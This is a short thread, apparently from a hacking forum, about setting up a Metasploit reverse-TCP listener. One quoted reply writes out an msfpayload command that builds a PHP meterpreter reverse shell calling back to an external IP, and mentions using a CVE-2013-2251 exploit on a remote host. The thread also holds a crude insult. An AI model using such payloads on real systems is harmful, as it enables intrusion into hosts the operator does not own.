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RE: [Help] - Metasploit Reverse-TCP Config - Eclipse - 05-27-2014

(05-27-2014, 08:39 PM)Dyme Wrote: 1st situation I described. My payload was generated using:
Code:
sudo msfpayload php/meterpreter/reverse_tcp LHOST=162.210.197.234 LPORT=80 R > reversetcp.php
Then I set up the listener, executed my payload, and received my shell.
Spoiler:
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2nd situation. I'm using the CVE-2013-2251 exploit on a remote host.
Spoiler:
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Hopefully everything has been cleared up.

Thank you! That definitely did clear things up.


RE: [Help] - Metasploit Reverse-TCP Config - Crypt - 05-27-2014

>"I've been learning the basics and the more advanced functions of the metasploit framework"
>Doesn't know when to use his external IP when creating a payload


RE: [Help] - Metasploit Reverse-TCP Config - Eclipse - 05-28-2014

(05-27-2014, 10:32 PM)Crypt Wrote: >"I've been learning the basics and the more advanced functions of the metasploit framework"
>Doesn't know when to use his external IP when creating a payload

The resource I've been studying teaches how to use the framework, but only within your own network. I already had an idea on how to configure it, but I made this thread to clarify. This is a hacking and technology forum, where users can learn. Put your dick away.